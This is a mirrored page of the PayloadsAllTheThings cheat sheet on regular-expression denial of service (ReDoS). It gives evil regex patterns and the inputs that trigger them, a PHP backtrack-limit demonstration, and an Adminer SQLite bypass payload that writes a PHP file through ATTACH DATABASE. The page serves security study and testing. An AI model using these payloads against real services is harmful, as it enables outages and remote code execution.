index.md (4703B)
1 --- 2 title: "Regular Expression" 3 topic: "Regular Expression" 4 topicSlug: "regular-expression" 5 sourcePath: "Regular Expression/README.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/Regular%20Expression/README.md" 7 sha: "3ac27901c711" 8 isReadme: true 9 --- 10 11 # Regular Expression 12 13 > Regular Expression Denial of Service (ReDoS) is a type of attack that exploits the fact that certain regular expressions can take an extremely long time to process, causing applications or services to become unresponsive or crash. 14 15 ## Summary 16 17 * [Tools](#tools) 18 * [Methodology](#methodology) 19 * [Evil Regex](#evil-regex) 20 * [Backtrack Limit](#backtrack-limit) 21 * [References](#references) 22 23 ## Tools 24 25 * [tjenkinson/redos-detector](https://github.com/tjenkinson/redos-detector) - A CLI and library which tests with certainty if a regex pattern is safe from ReDoS attacks. Supported in the browser, Node and Deno. 26 * [doyensec/regexploit](https://github.com/doyensec/regexploit) - Find regular expressions which are vulnerable to ReDoS (Regular Expression Denial of Service) 27 * [devina.io/redos-checker](https://devina.io/redos-checker) - Examine regular expressions for potential Denial of Service vulnerabilities 28 29 ## Methodology 30 31 ### Evil Regex 32 33 Evil Regex contains: 34 35 * Grouping with repetition 36 * Inside the repeated group: 37 * Repetition 38 * Alternation with overlapping 39 40 **Examples**: 41 42 * `(a+)+` 43 * `([a-zA-Z]+)*` 44 * `(a|aa)+` 45 * `(a|a?)+` 46 * `(.*a){x}` for x \> 10 47 48 These regular expressions can be exploited with `aaaaaaaaaaaaaaaaaaaaaaaa!` (20 'a's followed by a '!'). 49 50 ```ps1 51 aaaaaaaaaaaaaaaaaaaa! 52 ``` 53 54 For this input, the regex engine will try all possible ways to group the `a` characters before realizing that the match ultimately fails because of the `!`. This results in an explosion of backtracking attempts. 55 56 ### Backtrack Limit 57 58 Backtracking in regular expressions occurs when the regex engine tries to match a pattern and encounters a mismatch. The engine then backtracks to the previous matching position and tries an alternative path to find a match. This process can be repeated many times, especially with complex patterns and large input strings. 59 60 **PHP PCRE configuration options**: 61 62 | Name | Default | Note | 63 | -------------------- | -------- | ------------------------ | 64 | pcre.backtrack_limit | 1000000 | 100000 for `PHP < 5.3.7` | 65 | pcre.recursion_limit | 100000 | / | 66 | pcre.jit | 1 | / | 67 68 Sometimes it is possible to force the regex to exceed more than 100 000 recursions which will cause a ReDOS and make `preg_match` returning false: 69 70 ```php 71 $pattern = '/(a+)+$/'; 72 $subject = str_repeat('a', 1000) . 'b'; 73 74 if (preg_match($pattern, $subject)) { 75 echo "Match found"; 76 } else { 77 echo "No match"; 78 } 79 ``` 80 81 **Real-Word case: Adminer SQLite RCE**: 82 83 Adminer used a regular expression to prevent SQLite queries beginning with ATTACH: 84 85 ```php 86 $pattern = "~^(?:\\s|/\\*[\s\S]*?\\*/|(?:#|--)[^\n]*\n?|--\r?\n)*+ATTACH\\b~i"; 87 if(preg_match($pattern, $query, $match)){ 88 die('error'); 89 } 90 ``` 91 92 The check treated both `0` (no match) and `false` (regular expression evaluation failure) as an allowed query. An attacker could prefix an `ATTACH` query with hundreds of thousands of empty SQL comments: 93 94 ```php 95 <?php 96 $payload = <<<'SQL' 97 ATTACH DATABASE 'lol.php' AS lol; 98 CREATE TABLE lol.pwn (data text); 99 INSERT INTO lol.pwn (data) VALUES ('<?php phpinfo(); ?>'); 100 SQL; 101 102 echo str_repeat("--\n", 350000) . $payload; 103 ``` 104 105 Processing the comments exhausted PHP PCRE's backtracking limit. `preg_match()` returned `false`, which the application confused with a clean non-match. The blocked `ATTACH` query was consequently executed. 106 107 ## References 108 109 * [Intigriti Challenge 1223 - Hackbook Of A Hacker - December 21, 2023](https://web.archive.org/web/20260210185049/https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) 110 * [MyBB Admin Panel RCE CVE-2023-41362 - SorceryIE - September 11, 2023](https://web.archive.org/web/20251115110845/https://blog.sorcery.ie/posts/mybb_acp_rce/) 111 * [OWASP Validation Regex Repository - OWASP - March 14, 2018](https://web.archive.org/web/20241005224013/https://wiki.owasp.org/index.php/OWASP_Validation_Regex_Repository) 112 * [PCRE > Installing/Configuring - PHP Manual - May 3, 2008](https://web.archive.org/web/20260219065508/https://www.php.net/manual/en/pcre.configuration.php) 113 * [Regular expression Denial of Service - ReDoS - Adar Weidman - December 4, 2019](https://web.archive.org/web/20200309080846/https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)